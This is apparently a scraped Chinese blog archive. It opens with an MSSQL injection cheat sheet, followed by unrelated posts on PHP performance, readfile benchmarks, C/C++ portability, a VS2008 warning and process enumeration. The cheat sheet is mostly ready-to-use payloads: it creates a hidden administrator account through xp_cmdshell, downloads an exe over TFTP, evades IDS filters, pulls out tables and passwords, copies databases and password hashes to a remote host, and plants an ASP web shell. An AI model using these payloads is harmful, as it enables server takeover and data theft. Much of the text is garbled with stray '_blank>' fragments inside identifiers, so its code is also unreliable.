;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat


如果被限制则可以。
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)


查询构造:
SELECT * FROM news WHERE id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。


通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库


枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–


这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。


读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\


1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name


2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table


3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。

基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns


复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2


复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins


得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– (xp_blank>_dirtree适用权限PUBLIC)


写入表:
语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));–
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));–
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));–
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));–


把路径写到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:\–
and 0<>(select top 1 paths from dirs)–
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
and 0<>(select top 1 paths from dirs1)–


把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\


返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)


建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\


只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息!

Modified At 2008-05-28 17:54:23




Modified At 2008-06-02 23:15:11

php执行效率优化

总结下php程序效率优化的一些策略:

 

1.在可以用file_get_contents替代file、fopen、feof、fgets等系列方法的情况下,尽量用file_get_contents,因为他的效率高得多!但是要注意file_get_contents在打开一个URL文件时候的PHP版本问题;(对这于这一点kimi不敢苟同,详细请查阅http://www.ccvita.com/index.php/163.html)

 

2.尽量的少进行文件操作,虽然PHP的文件操作效率也不低的;

 

3.优化Select SQL语句,在可能的情况下尽量少的进行Insert、Update操作(在update上,我被恶批过);

 

4.尽可能的使用PHP内部函数(但是我却为了找个PHP里面不存在的函数,浪费了本可以写出一个自定义函数的时间,经验问题啊!);

 

5.循环内部不要声明变量,尤其是大变量:对象(这好像不只是PHP里面要注意的问题吧?);

 

6.多维数组尽量不要循环嵌套赋值;

 

7.在可以用PHP内部字符串操作函数的情况下,不要用正则表达式;

 

8.foreach效率更高,尽量用foreach代替while和for循环;

 

9.用单引号替代双引号引用字符串;

 

10.“用i+=1代替i=i+1。符合c/c++的习惯,效率还高”;

 

11.对global变量,应该用完就unset()掉;




Modified At 2008-05-26 15:58:33

Readfile vs include

It is not often that you can write a PHP script that does not need to include the contents of different files as part of it’s output. If these includes happen to be php scripts themselves you have no choice but to use require or include. However more often than not, the contents are static, usually html template component. With static includes you have many more options available. aerwear We will analyse some of these functions to find out which one is most suitable when dealing with files with static content. We use the term function loosely, because require and include are not real functions but language constructs.

 

























Function

Brief Description

string file_get_contents ( string filename [, int use_include_path])

Reads entire file into a string

int fpassthru ( resource handle)

Output all remaining data on a file pointer

string fgets ( resource handle [, int length])

Gets line from file pointer

array file ( string filename [, int use_include_path])

Reads entire file into an array

require(string filename)

include(string filename)

require_once(string filename)

include_once(string filename)

includes and evaluates the specific file.

int readfile ( string filename [, int use_include_path])

Outputs a file


We will now attempt to ‘include’ the contents of a 1 megabyte file into the output produced by our php script. How you can generate files of specific sizes is described elsewhere. The execution times and peak memory consumption, as reported by xdebug have been tabulated below.

We compensate for file caching and background processes by executing each script 4 times and taking the average (mean) of the result number 2-4. The first result is always rejected. Any result that appears to be outlier is rejected. The mean is rounded to 5 decimal places.

 












































Function

Sample Usage

Time (s)

Memory (b)

file_get_contents

echo file_get_contents($filename);

0.00564

1067856

fpassthru

fpassthru($fp);

0.00184

20032

fgets

$fp = fopen($filename,”rb”);

while(!feof($fp))

{

    echo fgets($fp);

}

0.07190

30768

file

echo join(“”,file($filename));

0.06464

2185624

require_once

require_once($filename);

0.08065

2067696

include

include($filename);

0.08202

2067696

readfile

readfile($filename);

0.00191

19208


What’s obvious from these results is that using fpassthru is far superior to all other methods. What’s not so obvious is that fpassthru and readfile are equally good. The fpassthru version runs 0.00007 seconds quicker than the readfile version. What that really means is that you need to run the script at least 100000 times to make significant saving. On memory consumption readfile seems to have use up around 1kb less than passthru. A kilo byte is a drop in the ocean for modern web servers with hundreds of megabytes if not gigabytes of memory.

 

The only conclusion that can be drawn from these studies is that fpassthru and readfile are equally good if you wish to include static content as part of the script’s output.

 

Before you rush off to change all your includes and requires into readfiles or fpassthrus let’s run the same test with a smaller (32Kb file). 32Kb is a more realistic size for an included file.

 
























































Function

Time (s)

Memory (b)

 

32Kb File

1Mb File

32Kb File

1Mb File

file_get_contents

0.00152

0.00564

52480

1067856

fpassthru

0.00117

0.00184

20016

20032

fgets

0.00195

0.07190

30760

30768

file

0.00157

0.06464

87344

2185624

require_once

0.00225

0.08065

67992

2067696

include

0.00222

0.08202

67928

2067624

readfile

0.00117

0.00191

19192

19208


readfile and fpassthru have once again tied for first place. This new set of results just confirms the fact that speed and scalability comes from your design and not from your code. The difference between the best performance and the worst is just 0.00108s too close to call.

 

The most significant feature of these results is that both fpassthru and readfile scale really well. In other words, memory consumption and execution time does not increase significantly with increase in file size. That does not always mean your script will be faster just because you use these functions instead of require or include.

 

 


This page was last modified 10:56, 3 Aug 2006.




Modified At 2008-05-23 23:16:26

编写可移植C/C++程序的要点

    分层设计,隔离平台相关的代码。就像可测试性一样,可移植性也要从设计抓起。一般来说,最上层和最下层都不具有良好的可移植性。最上层是GUI,大多数GUI都不是跨平台的,如Win32 SDK和MFC。最下层是操作系统…
 
    1.分层设计,隔离平台相关的代码。就像可测试性一样,可移植性也要从设计抓起。一般来说,最上层和最下层都不具有良好的可移植性。最上层是GUI,大多数GUI都不是跨平台的,如Win32 SDK和MFC。最下层是操作系统API,大多部分操作系统API都是专用的。
 
  如果这两层的代码散布在整个软件中,那么这个软件的可植性将非常的差,这是不言自明的。那么如何避免这种情况呢?当然是分层设计了:
 
  最底层采用Adapter模式,把不同操作系统的API封装成一套统一的接口。至于封装成类还是封装成函数,要看你采用的C还是C++写的程序了。这看起来很简单,其实不尽然(看完整篇文章后你会明白的),它将耗去你大量的时间去编写代码,去测试它们。采用现存的程序库,是明智的做法,有很多这样的库,比如,C库有glib(GNOME的基础类),C++库有ACE(ADAPTIVE Communication Environment)等等,在开发第一个平台时就采用这些库,可以大大减少移植的工作量。
 
  最上层采用MVC模型,分离界面表现与内部逻辑代码。把大部分代码放到内部逻辑里面,界面仅仅是显示和接收输入,即使要换一套GUI,工作量也不大。这同时也是提高可测试性的手段之一,当然还有其它一些附加好处。所以即使你采用QT或者GTK+等跨平台的GUI设计软件界面,分离界面表现与内部逻辑也是非常有用的。
 
  若做到了以上两点,程序的可移植性基本上有保障了,其它的只是技术细节问题。
 
  2.事先熟悉各目标平台,合理抽象底层功能。这一点是建立在分层设计之上的,大多数底层函数,像线程、同步机制和IPC机制等等,不同平台提供的函数,几乎是一一对应的,封装这些函数很简单,实现Adapter的工作几乎只是体力活。然而,对于一些比较特殊的应用,如图形组件本身,就拿GTK+ 来说吧,基于X Window的功能和基于Win32的功能,两者差巨大,除了窗口、事件等基本概念外,几乎没有什么相同的,如果不事先了解各个平台的特性,在设计时就精心考虑的话,抽象出来的抽口在另外一个平台几乎无法实现。
 
  3.尽量使用标准C/C++函数。大多数平台都会实现POSIX(Portable Operating System Interface)规定的函数,但这些函数较原生(Native) 函数来说,性能上的表现可能较次一些,用起来也不如原生函数方便。但是,最好不要贪图这种便宜而使用原生函数函数,否则搬起的石头最终会轧到自己的脚。比如,文件操作就用fopen之类的函数,而不要用CreateFile之类的函数等。
 
  4.尽量不要使用C/C++新标准里出现的特性。并不是所有的编译器都支持这些特性,像VC就不支持C99里面要求的可变参数的宏,VC对一些模板特性的支持也不全面。为了安全起见,这方面不要太激进了。
 
  5.尽量不要使用C/C++标准里没有明确规定的特性。比如你有多个动态库,每个动态库都有全局对象,而且这些全局对象的构造还有依赖关系,那你迟早会遇到麻烦的,这些全局对象构造的先后顺序在标准里是没有规定的。在一个平台上运行正确,在另外一个平台上可能莫明其妙的死机,最终还是要对程序作大量修改。
    6.尽量不要使用准标准函数。有些函数大多数平台上都有,它们使用得太广泛了,以至于大家都把它们当成标准了,比如atoi(把字符串转换成整数)、strdup(克隆字符串)、alloca(在栈分配自动内存)等等。不怕一万,就怕万一,除非明白你在做什么,否则还是别碰它们为好。
 
  7.注意标准函数的细节。也许你不相信,即使是标准函数,抛开内部实现不论,就其外在表现的差异也有时令人惊讶。这里略举几个例子:
 
  int accept(int s, struct sockaddr *addr, socklen_t *addrlen);addr/ addrlen本来是输出参数,如果是C++程序员,不管怎么样,你已经习惯于初始化所有的变量,不会有问题。如果是C程序员,就难说了,若没有初始化它们,程序可能莫名其妙的crash,而你做梦也怀疑不到它头它。这在Win32下没问题,在Linux下才会出现。
 
  int snprintf(char *str, size_t size, const char *format, ……);第二个参数size,在Win32下不包括空字符在内,在Linux下包括空字符,这一个字符的差异,也可能让你耗上几个小时。
 
  int stat(const char *file_name, struct stat *buf);这个函数本身没有问题,问题出在结构stat上,st_ctime在Win32下代表创建(create)时间,在Linux下代表最后修改 (change)时间。
 
  FILE *fopen(const char *path, const char *mode);在读取二进制文件,没有什么问题。在读取文本文件可要小心,Win32下自动预处理,读出来的内容与文件实际都长度不一样,在Linux则没有问题。
 
  8.小心数据标准数据类型。不少人已经吃过int类型由16位转变成32位带来的苦头,这已经是陈年往事了,这里且不谈。你可知道char在有的系统上是有符号的,在有的系统是无符号的吗?你可知道wchar_t在Win32下是16位的,在Linux 下是32位的吗?你可知道有符号的1bit的位域,取值是0和-1而不是0和1吗?这些貌合神离的东东,端的是神出鬼没,一不小心着了它的道。
 
  9.最好不要使用平台独有的特性。比如Win32下DLL可以提供一个DllMain函数,在特定的时间,操作系统的Loader会自动调用这个函数。这类功能很好用,但最好不要用,目标平台可不能保证有这种功能。
 
  10.最好不要使用编译器特有的特性。现代的编译器都做很人性化,考虑得很周到,一些功能用起非常方便。像在VC里,你要实现线程局部存储,你都不调用TlsGetValue /Tls TlsSetValue之类的函数,在变量前加一个__declspec( thread )就行了,然而尽管在pthread里有类似的功能,却不能按这种方式实现,所以无法移植到Linux下。同样gcc也有很多扩展,是在VC或者其它编译器里所没有的。
 
  11.注意平台的特性。比如:
 
  在Win32下的DLL里面,除非明确指明为export的函数外,其它函数对外都是不可见的。而在Linux下,所有的非static的全局变量和函数,对外全部是可见的。这要特别小心,同名函数引起的问题,让你查上两天也不为过。
 
  目录分隔符,在Win32下用‘\\’,在Linux下用‘/’。
 
  文本文件换行符,在Win32下用‘\r\n’,在Linux下用‘\n’,在MacOS下用‘\r’。
 
  字节顺序(大端/小端),不同硬件平台的字节顺序可能不一样。
 
  字节对齐,在有的平台(如x86)上,字节不对齐,无非速度慢一点,而有的平台(如arm)上,它完全用错误的方式去读取数据,而且不会给你一点提示。若出问题,可能让你一点头绪都没有。
 
  12.最好清楚不同平台的资源限制。想必你还记得DOS下同时打开的文件个数限制在几十个的情形吧,如今操作系统的功能已经强大多了,但是并非没有限制。比如Linux下的共享内存默认的最大值是4M。若你对目标平台常见的资源限制了然于胸,可能有很大的帮助,一些问题很容易定位
 

关于VS2008中的一个编译错误的解决办法

     VC2008中,使用了很多标准的C函数,比如fopen,strcpy,strcat之类的。编译时会出现警告,比如这个:


     d:\xxxx.c(1893) : warning C4996: “strcpy”被声明为否决的

 

     紧接着IDE有提示说:“This function or variable may be unsafe. Consider using strcpy_s instead… 可是我的代码只是借VS2008的IDE环境开发而已,以后是要移植到别的ANSI C平台的,所以不想用strcpy_s,舍弃此法。

 

    接着看提示, “To disable deprecation, use _CRT_SECURE_NO_DEPRECATE“。原来加个编译选项就可以了。于是按 Alt+F7打开项目属性,找到“配置属性” -> “C/C++” -> “命令行”,在右侧的“附加选项”文本编辑框里加入 【/D “_CRT_SECURE_NO_DEPRECATE” 】 (注意加入的是【】符号里面的文本),点确定。再次编译,就没有这种警告了。

关于获取进程信息(完整+经验+总结)

最近写了一个进程管理的程序,下面是对这次编程的总结和笔记:
、关于进程的枚举获取:
距我所知,枚举进程总共有4种方法,也包括四种不同的库,我采用用了前面的三种来获取进程的详细信息,当然是对自己关心的信息。
它们分别采用了:
包含库: psapi.lib WtsApi32.lib;
头文件: #include <TLHELP32.H>,#include <WtsApi32.h>,#include <psapi.h>;
 
还有一种方法是由ntdll.dll提供的函数来获取进程信息的,我没有采用,因为前面的三种方法一起能获取很多的进程信息了,对我来说已经够了。
另外为了方便我也写了一个进程管理的类,把相应的功能封装在一起。
主要的技术有:
1.权限的提升:
 

 
 
其中涉及到几个API函数,是在编写系统相关函数常用到的,看代码应该能理解了。
 
2.为了获得自己感兴趣的信息,定义了两个结构体,把他们分开也是为了方便管理,因为有的信息不可能是同一块获得的。
 

 
 
获得相关信息的代码如下:
 

 
其中大量使用了动态分配内存,主要是为了尽可能地有效利用内存,经过两天的测试,这个类没有任何内存泄露。
 
3.动态分配内存的释放:
 

 
 
其中内存是分别释放的,我也没办法,而且这里必须注意内存释放问题:
如果结构体本身是new出来的,但是里面的内容也含有new出来的数据、指针什么的,必须先将里面的释放完了再把结构体所占的内存释放掉!!
 
4.由于NT遗留下来的问题,进程的路径获得中会出现一些小问题:
 

 
 
5.通过进程ID获得进程窗口的句柄:
 

6.获得进程的命令行:


 
7.获得进程所调用的模块信息:
 

 
8.获得创建进程的用户名:
 

 
以上是获得进程信息的一些技术,下面是其他的一些技术,有的是我的原创。
 
 
 
二、关于TabCtrl的另类利用:
 
上面是实现后的效果,按钮放在左边,按不同的按钮出现不同的对话框在右面,有人说那是OutLook风格,我不知道,总之这样看起来比属性表更好看,管理起来也更方面,相关的代码如下。
 

 
其中CMyTabSheet是从管理控件TabCtrl的类派生的,其实那个管理对话框的TabCtrl控件被前面的对话框遮住了,呵呵。
三、关于弹出菜单:

 
 
弹出菜单的三个三钮分别对应三个功能:复制文件的路径到剪贴板、打开文件所在的文件夹并选中文件、关掉进程。
其中复制文件的路径到剪贴板的代码如下:
 

 
关掉进程的代码为:

 
其实这种关进程的方法不太好,因为这是强制行的,很容易造成数据丢失以及其他问题,有时间的话我会改进一下。
 
打开文件所在的文件夹并选中文件的代码如下:
 

 
四、在列表框中显示数据的代码如下,我觉得有必要写下来,其中最重要的是图标的输出问题:
 

 
五、另外还定义了一些全局的函数:
 

 
就写这么多笔记了,如果还有什么的我下次再写,我想写的一个小软件还没完成,进程管理只是其中的一个部分。
另外我还写了一个获取文件版本信息的类,恩,主要的一些代码如下: